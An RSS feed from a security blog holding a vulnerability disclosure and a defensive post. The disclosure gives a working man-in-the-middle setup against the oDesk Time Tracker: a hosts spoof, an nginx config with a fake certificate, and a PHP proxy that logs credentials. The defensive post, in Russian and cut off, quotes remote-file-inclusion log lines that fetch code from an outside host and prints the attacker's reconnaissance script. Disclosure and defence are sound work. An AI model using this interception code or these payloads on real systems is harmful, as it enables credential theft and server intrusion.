<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; атака</title>
	<atom:link href="http://blog.sjinks.pro/tag/attack/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Thu, 02 Sep 2010 17:48:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>oDesk Time Tracker Vulnerabilities</title>
		<link>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/</link>
		<comments>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:42:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[oDesk]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=581</guid>
		<description><![CDATA[When SSL is not enough oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>When SSL is not enough</em></h2>
<ol>
<li>oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attacks</a> (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is <a href="http://www.securesphere.net/download/papers/dnsspoof.htm">doable</a>).<span id="more-581"></span>
<p>To imitate the DNS spoofing we will need to edit <code>/etc/hosts</code> file:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5815">
        <div class="code text" id="p581code5">
127.0.0.1 team.odesk.com
        </div>
    </div>
</div>

<p>And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used <a href="http://blog.sjinks.pro/tag/nginx/" class="st_tag internal_tag" rel="tag" title="Posts tagged with nginx">nginx</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5816">
        <div class="code nginx" id="p581code6">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">keepalive_timeout</span> <span class="nu0">70</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> &nbsp;default;<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/secure-team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/secure-team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate</span> /etc/nginx/certs/fake-cert.crt;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate_key</span> /etc/nginx/certs/fake-cert.key;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_timeout</span> 5m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl_protocols</span> SSLv3 TLSv1;<br />
&nbsp; &nbsp; <span class="kw1">ssl_ciphers</span> HIGH:MEDIUM;<br />
&nbsp; &nbsp; <span class="kw1">ssl_prefer_server_ciphers</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_cache</span> shared:SSL:10m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Nice <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">PHP</a> proxy that logs all communication between the client and server:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5817">
        <div class="code php" id="p581code7">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> <span class="sy0">=</span> <span class="kw3">curl_init</span><span class="br0">&#40;</span><span class="st_h">'https://209.128.65.132'</span> <span class="sy0">.</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$_FILES</span> <span class="kw1">as</span> <span class="re0">$key</span> <span class="sy0">=&gt;</span> <span class="re0">$item</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st_h">'@'</span> <span class="sy0">.</span> <span class="re0">$item</span><span class="br0">&#91;</span><span class="st_h">'tmp_name'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> <span class="sy0">=</span> <span class="kw3">fopen</span><span class="br0">&#40;</span><span class="kw3">dirname</span><span class="br0">&#40;</span><span class="kw4">__FILE__</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'/log.txt'</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&lt;&lt;&lt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="sy0">,</span> 1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&gt;&gt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POST<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POSTFIELDS<span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HTTPHEADER<span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'Host: team.odesk.com'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_RETURNTRANSFER<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HEADER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYPEER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYHOST<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">curl_exec</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_close</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;---<span class="es1">\n</span><span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="re0">$s</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;status=S_OK<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Fraude perit virtus&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5818">
        <div class="code text" id="p581code8">
SERVER: https://209.128.65.132/client/receiver<br />
IN:<br />
Array<br />
(<br />
&nbsp; &nbsp; [version] =&gt; Linux/1.3.4<br />
&nbsp; &nbsp; [status] =&gt; C_NORMAL<br />
&nbsp; &nbsp; [company] =&gt; ics2:ics2<br />
&nbsp; &nbsp; [user] =&gt; vkolesnikov<br />
&nbsp; &nbsp; [password] =&gt; password_goes_here<br />
&nbsp; &nbsp; [uid] =&gt; 5f323dce-ee5c-4347-9074-ed5d356362d4<br />
&nbsp; &nbsp; [computer] =&gt; SJINKS<br />
&nbsp; &nbsp; [os] =&gt; Linux Ubuntu 9.04 (2.6.28-13-server)<br />
&nbsp; &nbsp; [snapint] =&gt; 600<br />
&nbsp; &nbsp; [trigger] =&gt; login<br />
&nbsp; &nbsp; [keyev] =&gt; 1<br />
&nbsp; &nbsp; [mousev] =&gt; 1<br />
&nbsp; &nbsp; [events_per_minute] =&gt; 1245070126,1,1<br />
&nbsp; &nbsp; [activewintitle] =&gt; client : mc<br />
&nbsp; &nbsp; [screensaveron] =&gt; false<br />
&nbsp; &nbsp; [memo] =&gt;.<br />
&nbsp; &nbsp; [task_id] =&gt;.<br />
&nbsp; &nbsp; [task_description] =&gt;.<br />
&nbsp; &nbsp; [screenshot_width] =&gt; 1680<br />
&nbsp; &nbsp; [screenshot_height] =&gt; 1050<br />
&nbsp; &nbsp; [timestamp] =&gt; 1245070127<br />
&nbsp; &nbsp; [screen] =&gt; @/tmp/phpqzwmeh<br />
)<br />
<br />
OUT:<br />
status=S_OK<br />
servertime=1245070127<br />
hiresdesktop=enable<br />
webcam=user<br />
period=600<br />
use_https=yes<br />
company_name=ICS<br />
first_name=Vladimir<br />
last_name=Kolesnikov<br />
tz=Europe/Athens<br />
company=ics2:ics2<br />
login=vkolesnikov<br />
companies=Sphere314,extrememember,ics2:ics2<br />
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25<br />
task_integration_policy=1<br />
cache_size=120
        </div>
    </div>
</div>

And here comes the second vulnerability.</li>
<li>
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
</li>
</ol>
<p>The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker&#8217;s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider&#8217;s account.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/windows/58-nginx-php-fastcgi-in-windows/" title="Настройка nginx и PHP/FastCGI в Windows (Март 28, 2008)">Настройка nginx и PHP/FastCGI в Windows</a> (41)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Минимизируем неприятные последствия HTTP-сканирования</title>
		<link>http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/</link>
		<comments>http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 04:45:26 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[scanning]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[сканирование]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=361</guid>
		<description><![CDATA[Защищаем сайт от HTTP-сканеров Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта. Если Вы всё еще читаете , то скажу, что практическая [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Защищаем сайт от HTTP-сканеров</em></h2>
<p>Анализируя логи Апача после полуторамесячного <a href="http://blog.sjinks.pro/photo/355-kuzbass-2008/">отпуска</a>, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.</p>
<p>Если Вы всё еще читаете <img src="http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif" alt=":-)"/>, то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.<span id="more-361"></span></p>
<p>Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36121">
        <div class="code apache_log" id="p361code21">
80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 69530 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] &quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] &quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 90888 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &quot;GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 86208 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] &quot;GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 71829 &quot;-&quot; <br />
&quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] &quot;GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 90948 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] &quot;GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 86232 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 69530 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] &quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] &quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 90888 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] &quot;GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] &quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 86208 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] &quot;GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 76404 &quot;-&quot; &quot;libwww-perl/5.8<br />
05&quot;
        </div>
    </div>
</div>

<p>В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл <code>&#x68;ttp://www.mykr.net/bbs/id.txt</code>.</p>
<p>Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36122">
        <div class="code php" id="p361code22">
<span class="kw2">&lt;?php</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ryey&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="re0">$alb</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw3">php_uname</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb2</span> <span class="sy0">=</span> <span class="kw3">system</span><span class="br0">&#40;</span>uptime<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb3</span> <span class="sy0">=</span> <span class="kw3">system</span><span class="br0">&#40;</span>id<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb4</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw3">getcwd</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb5</span> <span class="sy0">=</span> <span class="kw3">getenv</span><span class="br0">&#40;</span><span class="st0">&quot;SERVER_SOFTWARE&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb6</span> <span class="sy0">=</span> <span class="kw3">phpversion</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb7</span> <span class="sy0">=</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SERVER_NAME'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
<span class="re0">$alb8</span> <span class="sy0">=</span> <span class="kw3">gethostbyname</span><span class="br0">&#40;</span><span class="re0">$SERVER_ADDR</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb9</span> <span class="sy0">=</span> <span class="kw3">get_current_user</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$os</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw4">PHP_OS</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;os: <span class="es4">$os</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;uname -a: <span class="es4">$alb</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;uptime: <span class="es4">$alb2</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;id: <span class="es4">$alb3</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;pwd: <span class="es4">$alb4</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;user: <span class="es4">$alb9</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;phpv: <span class="es4">$alb6</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;SoftWare: <span class="es4">$alb5</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ServerName: <span class="es4">$alb7</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ServerAddr: <span class="es4">$alb8</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
